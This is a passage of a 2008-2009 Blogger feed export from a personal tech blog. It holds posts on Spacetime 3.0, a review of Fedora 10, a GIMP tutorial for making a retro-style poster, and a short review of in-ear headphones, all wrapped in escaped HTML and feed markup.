/&gt;&lt;/span&gt;&lt;/span&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_y9bIz6XDw14/SY9E0nV0QhI/AAAAAAAAAMw/afXFG7WlBfk/s1600-h/photo5.jpg"&gt;&lt;img style="cursor: pointer; width: 267px; height: 400px;" src="http://4.bp.blogspot.com/_y9bIz6XDw14/SY9E0nV0QhI/AAAAAAAAAMw/afXFG7WlBfk/s400/photo5.jpg" alt="" id="BLOGGER_PHOTO_ID_5300530957142737426" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-family:verdana;"&gt;I'm sure you will take a fancy to Spacetime soon. The best thing is that it is portable to many pocket devices including iPod and iPhone. But you can also use Spacetime on your PC or even Mac with no restrictions. &lt;a href="http://www.spacetime.us/"&gt;Visit the home page of SpaceTime to get more information.&lt;/a&gt;&lt;/span&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7661750990571372171-8558797136984109711?l=bulbing.blogspot.com'/&gt;&lt;/div&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~f/bulbing?a=eoB43jYc"&gt;&lt;img src="http://feeds.feedburner.com/~f/bulbing?d=41" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/bulbing?a=JmbnGzfv"&gt;&lt;img src="http://feeds.feedburner.com/~f/bulbing?i=JmbnGzfv" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/bulbing?a=HjmndWsi"&gt;&lt;img src="http://feeds.feedburner.com/~f/bulbing?i=HjmndWsi" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/bulbing?a=6XsHVAx9"&gt;&lt;img src="http://feeds.feedburner.com/~f/bulbing?i=6XsHVAx9" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;</content><link rel="replies" type="application/atom+xml" href="http://bulbing.blogspot.com/feeds/8558797136984109711/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=7661750990571372171&amp;postID=8558797136984109711" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/7661750990571372171/posts/default/8558797136984109711?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/7661750990571372171/posts/default/8558797136984109711?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/bulbing/~3/PKpK0Z49t_Q/spacetime-30-basic-tricks.html" title="Spacetime 3.0 - The basic tricks" /><author><name>Bulb</name><uri>http://www.blogger.com/profile/14303357291168954552</uri><email>noreply@blogger.com</email><gd:extendedProperty name="OpenSocialUserId" value="01705017211564360478" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://3.bp.blogspot.com/_y9bIz6XDw14/SY9EoGYNtpI/AAAAAAAAAMg/EY5RJ_TFUGQ/s72-c/photo3.jpg" height="72" width="72" /><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://bulbing.blogspot.com/2009/02/spacetime-30-basic-tricks.html</feedburner:origLink></entry><entry gd:etag="W/&quot;D0IDR3kyeip7ImA9WxVRGU0.&quot;"><id>tag:blogger.com,1999:blog-7661750990571372171.post-3631943927606187889</id><published>2009-01-24T20:13:00.024+01:00</published><updated>2009-01-25T18:46:16.792+01:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-01-25T18:46:16.792+01:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Linux" /><category scheme="http://www.blogger.com/atom/ns#" term="Fedora" /><title>First impressions of Fedora Cambridge</title><content type="html">&lt;span style="font-size:85%;"&gt;&lt;span style="font-family:verdana;"&gt;Yesterday I decided to download and install Fedora 10, also known as Fedora Cambridge. Fedora is based on Red Hat Linux, which was divided few years ago into two systems: Red Hat (commercial, for money) and Fedora (open-source, free). I was always used to Debian based systems, firstly Debian Sarge, than Ubuntu and Xubuntu. I decided to try Fedora and give it a shot.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;font-size:85%;" &gt;&lt;a style="font-family: verdana;" href="http://fedoraproject.org/en/get-fedora-all"&gt;Download Fedora 10 for free&lt;/a&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-family:verdana;"&gt;The design of Fedora is so precious. Even the installer looks neat. Some people think that installation of Linux is only for experts and geeks, but it's not true anymore. I bet that a hen would handle it if you put some grain around the enter button. Fedora Cambridge also includes functions to encrypt your storage, which were improved.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_y9bIz6XDw14/SXtpG8n1wvI/AAAAAAAAAKo/dsCP1KIOwPM/s1600-h/fedora-10-cambridge-1.png"&gt;&lt;img style="cursor: pointer; width: 335px; height: 251px;" src="http://2.bp.blogspot.com/_y9bIz6XDw14/SXtpG8n1wvI/AAAAAAAAAKo/dsCP1KIOwPM/s400/fedora-10-cambridge-1.png" alt="" id="BLOGGER_PHOTO_ID_5294941354977510130" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_y9bIz6XDw14/SXtpSDPlqCI/AAAAAAAAAKw/r4J6fosJ4KQ/s1600-h/fedora-10-cambridge-2.png"&gt;&lt;img style="cursor: pointer; width: 335px; height: 185px;" src="http://3.bp.blogspot.com/_y9bIz6XDw14/SXtpSDPlqCI/AAAAAAAAAKw/r4J6fosJ4KQ/s400/fedora-10-cambridge-2.png" alt="" id="BLOGGER_PHOTO_ID_5294941545733400610" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-family:verdana;"&gt;Plymouth is a new graphical boot process which fires up Fedora in about 15 seconds. Unfortunately I'm not lucky and I can't enjoy the graphics, but if you have AMD/ATI graphic card you will see &lt;a href="http://youtube.com/watch?v=IRmeUfu1TrA"&gt;this (youtube link)&lt;/a&gt; every time you boot. I have to manage with four colors loader. Moreover what is not typical, plymouth starts the X server on the first virtual server (ctrl+alt+f1). &lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-family:verdana;"&gt;After the system is booted, you are introduced by a friendly melody. The default Solar wallpaper and theme are just fine. I also turned on the desktop effects. If you know Vista Aero, this looks very similar. Generally Fedora 10 is really well designed and friendly.&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_y9bIz6XDw14/SXyiwccaNUI/AAAAAAAAALA/dOph5UaqXTs/s1600-h/screenshot-1.png"&gt;&lt;img style="cursor: pointer; width: 400px; height: 250px;" src="http://2.bp.blogspot.com/_y9bIz6XDw14/SXyiwccaNUI/AAAAAAAAALA/dOph5UaqXTs/s400/screenshot-1.png" alt="" id="BLOGGER_PHOTO_ID_5295286215033632066" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-family:verdana;"&gt;&lt;br /&gt;There is still a problem with playing movies whose codecs aren't free. Those xvid/mp4/wmv video etc. and also audio mp3 formats aren't supported by default. But this can be solved quite easily, you need to download "bad" and "ugly" codecs. Go to the "add/remove application" and look for "gstreamer-plugins" than find those bad and ugly and your videos should work fine.&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_y9bIz6XDw14/SXyijDkh96I/AAAAAAAAAK4/d-xAaq8ZrBM/s1600-h/screenshot-4.png"&gt;&lt;img style="cursor: pointer; width: 400px; height: 250px;" src="http://4.bp.blogspot.com/_y9bIz6XDw14/SXyijDkh96I/AAAAAAAAAK4/d-xAaq8ZrBM/s400/screenshot-4.png" alt="" id="BLOGGER_PHOTO_ID_5295285985018509218" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-family:verdana;"&gt;Moving your mouse to the top right corner causes this organization of windows so you can select which one you want. I like this idea and I find it very useful mainly if you have more windows opened.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_y9bIz6XDw14/SXyi9IV7YkI/AAAAAAAAALI/Al-v4ZYHMb0/s1600-h/screenshot-2.png"&gt;&lt;img style="cursor: pointer; width: 400px; height: 250px;" src="http://2.bp.blogspot.com/_y9bIz6XDw14/SXyi9IV7YkI/AAAAAAAAALI/Al-v4ZYHMb0/s400/screenshot-2.png" alt="" id="BLOGGER_PHOTO_ID_5295286432976036418" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-family:verdana;"&gt;OpenOffice.org 3.0 is the default office package in Fedora 10. The Writer application seems pretty good.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_y9bIz6XDw14/SXyjFXouv-I/AAAAAAAAALQ/L1m9tdWIINk/s1600-h/screenshot-3.png"&gt;&lt;img style="cursor: pointer; width: 400px; height: 250px;" src="http://2.bp.blogspot.com/_y9bIz6XDw14/SXyjFXouv-I/AAAAAAAAALQ/L1m9tdWIINk/s400/screenshot-3.png" alt="" id="BLOGGER_PHOTO_ID_5295286574520385506" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-family:verdana;"&gt;The new GIMP 2.6 is a good alternative of Photoshop. The new feature causes minimizing all gimp's dialogs together.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_y9bIz6XDw14/SXyjPIzlREI/AAAAAAAAALY/yMJ0JYPUpWU/s1600-h/screenshot-5.png"&gt;&lt;img style="cursor: pointer; width: 400px; height: 250px;" src="http://4.bp.blogspot.com/_y9bIz6XDw14/SXyjPIzlREI/AAAAAAAAALY/yMJ0JYPUpWU/s400/screenshot-5.png" alt="" id="BLOGGER_PHOTO_ID_5295286742338061378" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-family:verdana;"&gt;&lt;br /&gt;I absolutely recommend you to try Fedora 10 or even set it as your main OS. Fedora 9 was full of bugs but Fedora 10 tries to by a powerful system for your machine and it tries really well.&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7661750990571372171-3631943927606187889?l=bulbing.blogspot.com'/&gt;&lt;/div&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~f/bulbing?a=VVBCQ5Z3"&gt;&lt;img src="http://feeds.feedburner.com/~f/bulbing?d=41" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/bulbing?a=JI0fd9jh"&gt;&lt;img src="http://feeds.feedburner.com/~f/bulbing?i=JI0fd9jh" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/bulbing?a=f5U7oVtj"&gt;&lt;img src="http://feeds.feedburner.com/~f/bulbing?i=f5U7oVtj" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/bulbing?a=hdz31a7N"&gt;&lt;img src="http://feeds.feedburner.com/~f/bulbing?i=hdz31a7N" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;</content><link rel="replies" type="application/atom+xml" href="http://bulbing.blogspot.com/feeds/3631943927606187889/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=7661750990571372171&amp;postID=3631943927606187889" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/7661750990571372171/posts/default/3631943927606187889?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/7661750990571372171/posts/default/3631943927606187889?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/bulbing/~3/Ez4M0WFUmEg/first-impressions-of-fedora-cambridge.html" title="First impressions of Fedora Cambridge" /><author><name>Bulb</name><uri>http://www.blogger.com/profile/14303357291168954552</uri><email>noreply@blogger.com</email><gd:extendedProperty name="OpenSocialUserId" value="01705017211564360478" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://2.bp.blogspot.com/_y9bIz6XDw14/SXtpG8n1wvI/AAAAAAAAAKo/dsCP1KIOwPM/s72-c/fedora-10-cambridge-1.png" height="72" width="72" /><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://bulbing.blogspot.com/2009/01/first-impressions-of-fedora-cambridge.html</feedburner:origLink></entry><entry gd:etag="W/&quot;A0cFSXkyfCp7ImA9WxVTF0g.&quot;"><id>tag:blogger.com,1999:blog-7661750990571372171.post-973023951503475774</id><published>2008-12-31T15:26:00.022+01:00</published><updated>2008-12-31T22:30:18.794+01:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2008-12-31T22:30:18.794+01:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Gimp usage" /><title>Retro style poster - Tutorial</title><content type="html">&lt;span style="font-family: verdana;font-size:85%;" &gt;Hey, today I will show you how to make a retro style poster. We will try to achieve this result:&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;a style="font-family: verdana;" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_y9bIz6XDw14/SVviDs4m7wI/AAAAAAAAAKg/mZya7lhvP0g/s1600-h/retro-poster.jpg"&gt;&lt;img style="cursor: pointer; width: 400px; height: 302px;" src="http://2.bp.blogspot.com/_y9bIz6XDw14/SVviDs4m7wI/AAAAAAAAAKg/mZya7lhvP0g/s400/retro-poster.jpg" alt="" id="BLOGGER_PHOTO_ID_5286067140865486594" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/span&gt;&lt;ol style="font-family: verdana;"&gt;&lt;li&gt;&lt;span style="font-size:85%;"&gt;Create a new document, I chose 800x600, but it's up to you.&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-size:85%;"&gt;First create a new layer called "&lt;span style="font-weight: bold;"&gt;Colors&lt;/span&gt;" (ctrl+shift+n). Select the Brush tool (p) and draw a line in the corner of the picture with a color #f0f0f0. This color won't be very visible, but it's also not the absolute white (cause it's #ffffff). So it will make a border which we need, because we will fill the area with a color using the Bucket Fill tool later. I chose brush Circle(03).&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-size:85%;"&gt;Now pick the Bucket Fill tool (shift+b) and fill the areas you created in the second step. I used these colors: #4bd2c1, #137e70, #ea2a2a.&lt;br /&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-size:85%;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_y9bIz6XDw14/SVvfN7gSaAI/AAAAAAAAAJg/-7LQGjvrMSg/s1600-h/step1.jpg"&gt;&lt;img style="cursor: pointer; width: 400px; height: 304px;" src="http://3.bp.blogspot.com/_y9bIz6XDw14/SVvfN7gSaAI/AAAAAAAAAJg/-7LQGjvrMSg/s400/step1.jpg" alt="" id="BLOGGER_PHOTO_ID_5286064018053818370" border="0" /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-size:85%;"&gt;We will add a texture. Download &lt;a href="http://fc08.deviantart.com/fs14/f/2007/070/e/1/Grunge_texture_by_darkrose42_stock.jpg"&gt;this texture&lt;/a&gt; and add it as a new layer called "&lt;span style="font-weight: bold;"&gt;Texture&lt;/span&gt;". Or open the image right in your web browser and don't fear to drag and drop it right into Gimp, Gimp will handle it.&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-size:85%;"&gt;Set the layer mode (of the "Colors" layer) to multiply. Move the layers to get this order: Colors, Texture, Background. You should get this result:&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-size:85%;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_y9bIz6XDw14/SVvfnIo0kfI/AAAAAAAAAJo/_UzAD4fqHpw/s1600-h/step2.jpg"&gt;&lt;img style="cursor: pointer; width: 400px; height: 304px;" src="http://2.bp.blogspot.com/_y9bIz6XDw14/SVvfnIo0kfI/AAAAAAAAAJo/_UzAD4fqHpw/s400/step2.jpg" alt="" id="BLOGGER_PHOTO_ID_5286064451076002290" border="0" /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-size:85%;"&gt;Create a new layer and call it "&lt;span style="font-weight: bold;"&gt;Girl&lt;/span&gt;". Download &lt;a href="http://abhijeet.deviantart.com/art/Female-Dancing-Brushes-73307853"&gt;this set of brushes&lt;/a&gt; and copy it into your "brushes" folder. I chose one and I wanted to flip it horizontally. This can be easily done by pushing shift+f and clicking on the picture.&lt;br /&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-size:85%;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_y9bIz6XDw14/SVvfvC3sSrI/AAAAAAAAAJw/wNA5ovfHe3w/s1600-h/step3.jpg"&gt;&lt;img style="cursor: pointer; width: 400px; height: 304px;" src="http://2.bp.blogspot.com/_y9bIz6XDw14/SVvfvC3sSrI/AAAAAAAAAJw/wNA5ovfHe3w/s400/step3.jpg" alt="" id="BLOGGER_PHOTO_ID_5286064586966715058" border="0" /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-size:85%;"&gt;Now we will add a car. Download &lt;a href="http://cars.88000.org/wallpapers/24/Cadillac_Eldorado_Brougham_1957.jpg"&gt;this car&lt;/a&gt; and open it as a new document in Gimp. We will need to "separate" the car from the background.&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-size:85%;"&gt;We will use the Path tool to separate the car. Don't worry, it's not as difficult as it looks. (It's much more difficult :p). Select the Path tool (b) and click somewhere where the car borders on the background. Check the picture below, first make two points, than add another in the middle (by holding ctrl and clicking in the middle) than move this new point so you get the right curve. Using this method continue around the car.&lt;br /&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-size:85%;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_y9bIz6XDw14/SVvgcEjkoLI/AAAAAAAAAJ4/mKQT0K_g0_g/s1600-h/step4.jpg"&gt;&lt;img style="cursor: pointer; width: 400px; height: 148px;" src="http://2.bp.blogspot.com/_y9bIz6XDw14/SVvgcEjkoLI/AAAAAAAAAJ4/mKQT0K_g0_g/s400/step4.jpg" alt="" id="BLOGGER_PHOTO_ID_5286065360513310898" border="0" /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-size:85%;"&gt;Finally you should get this result, go to the Path dialog and click the icon "path to selection". Go to our previous picture and create a new layer called "&lt;span style="font-weight: bold;"&gt;Car&lt;/span&gt;", than copy the car in there. Again I had to flip it horizontally.&lt;br /&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-size:85%;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_y9bIz6XDw14/SVvgnRnV-vI/AAAAAAAAAKA/VtSaQKFmZ4k/s1600-h/step5.jpg"&gt;&lt;img style="cursor: pointer; width: 400px; height: 304px;" src="http://4.bp.blogspot.com/_y9bIz6XDw14/SVvgnRnV-vI/AAAAAAAAAKA/VtSaQKFmZ4k/s400/step5.jpg" alt="" id="BLOGGER_PHOTO_ID_5286065552997350130" border="0" /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-size:85%;"&gt;This looks quite unnaturally, I would like to move the girl's hand "in front" of the car. We can easily achieve this. First, right-click the "Girl" layer and select "alpha to selection". Pick the Free Select tool (f). Make sure that "Intersection mode" is checked; this will make a new selection from the area                   where the existing selection region and the new selection                   region overlap. Than go to the "Car" layer and draw something like this (picture below). Than click delete (make sure you are working on the "Car" layer) and it should be done; unselect all using the key combination ctrl+shift+a.&lt;br /&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-size:85%;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_y9bIz6XDw14/SVvg0acueTI/AAAAAAAAAKI/oI_KaBnDZd4/s1600-h/step6.jpg"&gt;&lt;img style="cursor: pointer; width: 400px; height: 267px;" src="http://1.bp.blogspot.com/_y9bIz6XDw14/SVvg0acueTI/AAAAAAAAAKI/oI_KaBnDZd4/s400/step6.jpg" alt="" id="BLOGGER_PHOTO_ID_5286065778707036466" border="0" /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-size:85%;"&gt;Pick the Text tool (t) and write a text you want, somewhere. I wrote "Retro Style" on the top of the picture. Using the Rectangle selecttion (r) and the Bucket Fill tool (shift+b) try to make some letters longer.&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-size:85%;"&gt;Now right-click on the layer with text and select "alpha to selection". Create a new layer and name it "&lt;span style="font-weight: bold;"&gt;Text border&lt;/span&gt;", move it under the text layer in the layer dialog.&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-size:85%;"&gt;Click Select - Grow (8px) and fill the selection with black. It will look weird but set the layer mode to "Saturation" and it will be ok.&lt;br /&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-size:85%;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_y9bIz6XDw14/SVvg8cdWthI/AAAAAAAAAKQ/Pnwg6Rgb4o8/s1600-h/step7.jpg"&gt;&lt;img style="cursor: pointer; width: 400px; height: 304px;" src="http://1.bp.blogspot.com/_y9bIz6XDw14/SVvg8cdWthI/AAAAAAAAAKQ/Pnwg6Rgb4o8/s400/step7.jpg" alt="" id="BLOGGER_PHOTO_ID_5286065916685497874" border="0" /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-size:85%;"&gt;To finish the poster I would like to make a border around the car and the girl. How to achieve this? Click the "Girl" layer and get the alpha to selection. Than go to Selection editor (Menu - Select - Selection editor) and click the icon on the bottom "save the selection to the channel". Do the same with the "Car" layer. Now open up Channel dialog. There should be something like "selection mask" and "selection mask copy#1". Select the first one and click on the icon on the bottom (second from the right), select the second one and click that icon again &lt;span style="font-weight: bold;"&gt;while holding shift button&lt;/span&gt;. You should get a selection of the "Car" layer and the "Girl" layer together.&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-size:85%;"&gt;Create a new layer called "&lt;span style="font-weight: bold;"&gt;Border&lt;/span&gt;". Go to Select - Grow (8px) and fill it with white. Set the transparency of the layer to 50% and move this layer between "Girl" and "Colors" layers.&lt;br /&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-size:85%;"&gt;To make the text readable right-click the "Text border" layer, go to the "Girl" layer and push the delete button. Press ctrl+shift+a unselect all.&lt;/span&gt;&lt;/li&gt;&lt;/ol&gt;&lt;span style="font-family: verdana;font-size:85%;" &gt; &lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7661750990571372171-973023951503475774?l=bulbing.blogspot.com'/&gt;&lt;/div&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~f/bulbing?a=wlegRVLU"&gt;&lt;img src="http://feeds.feedburner.com/~f/bulbing?d=41" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/bulbing?a=GnB3U6Ac"&gt;&lt;img src="http://feeds.feedburner.com/~f/bulbing?i=GnB3U6Ac" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/bulbing?a=lmEoe6CM"&gt;&lt;img src="http://feeds.feedburner.com/~f/bulbing?i=lmEoe6CM" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/bulbing?a=kcSSIcG7"&gt;&lt;img src="http://feeds.feedburner.com/~f/bulbing?i=kcSSIcG7" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;</content><link rel="replies" type="application/atom+xml" href="http://bulbing.blogspot.com/feeds/973023951503475774/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=7661750990571372171&amp;postID=973023951503475774" title="2 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/7661750990571372171/posts/default/973023951503475774?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/7661750990571372171/posts/default/973023951503475774?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/bulbing/~3/woOAwDWWiH8/retro-style-poster-tutorial.html" title="Retro style poster - Tutorial" /><author><name>Bulb</name><uri>http://www.blogger.com/profile/14303357291168954552</uri><email>noreply@blogger.com</email><gd:extendedProperty name="OpenSocialUserId" value="01705017211564360478" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://2.bp.blogspot.com/_y9bIz6XDw14/SVviDs4m7wI/AAAAAAAAAKg/mZya7lhvP0g/s72-c/retro-poster.jpg" height="72" width="72" /><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">2</thr:total><feedburner:origLink>http://bulbing.blogspot.com/2008/12/retro-style-poster-tutorial.html</feedburner:origLink></entry><entry gd:etag="W/&quot;D08MR3s8fCp7ImA9WxVTE0U.&quot;"><id>tag:blogger.com,1999:blog-7661750990571372171.post-4966093640593647647</id><published>2008-12-27T14:04:00.005+01:00</published><updated>2008-12-27T14:51:26.574+01:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2008-12-27T14:51:26.574+01:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Technology" /><title>In-ear headphone technology - best sound ever</title><content type="html">&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_y9bIz6XDw14/SVYu2Ce6dJI/AAAAAAAAAIw/waZr6pu2gqo/s1600-h/phpHZo6I7.jpg"&gt;&lt;img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 266px; height: 326px;" src="http://3.bp.blogspot.com/_y9bIz6XDw14/SVYu2Ce6dJI/AAAAAAAAAIw/waZr6pu2gqo/s400/phpHZo6I7.jpg" alt="" id="BLOGGER_PHOTO_ID_5284462718680200338" border="0" /&gt;&lt;/a&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-family:verdana;"&gt;I needed to buy new headphones, because my old apple headphones, which I got jointly with iPod Touch in April, were broken (after 9 months of usage). I decided to look for some "in-ear". I was told those ones are really good and I got a recommendation from many friends who use them.&lt;/span&gt; &lt;span style="font-family:verdana;"&gt;In-ear headphones are extraordinary because of their construction. They should cut out unwanted background sound, which causes that you get amazing bass response for all types of music.&lt;/span&gt; &lt;span style="font-family:verdana;"&gt;Finally I bought some Genius, which were quite cheap. After couple of days of using them, I can say the quality of the sound is just amazing. I can hear things which I couldn't before. And at the same time, I can't hear things in the background I could before thanks to the silicon packing :p.&lt;/span&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7661750990571372171-4966093640593647647?l=bulbing.blogspot.com'/&gt;&lt;/div&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~f/bulbing?a=m6Bmf9BC"&gt;&lt;img src="http://feeds.feedburner.com/~f/bulbing?d=41" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/bulbing?a=YYfv75gU"&gt;&lt;img src="http://feeds.feedburner.com/~f/bulbing?i=YYfv75gU" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/bulbing?a=NORXrgiQ"&gt;&lt;img src="http://feeds.feedburner.com/~f/bulbing?i=NORXrgiQ" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/bulbing?a=ADwSm4bE"&gt;&lt;img src="http://feeds.feedburner.com/~f/bulbing?i=ADwSm4bE" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
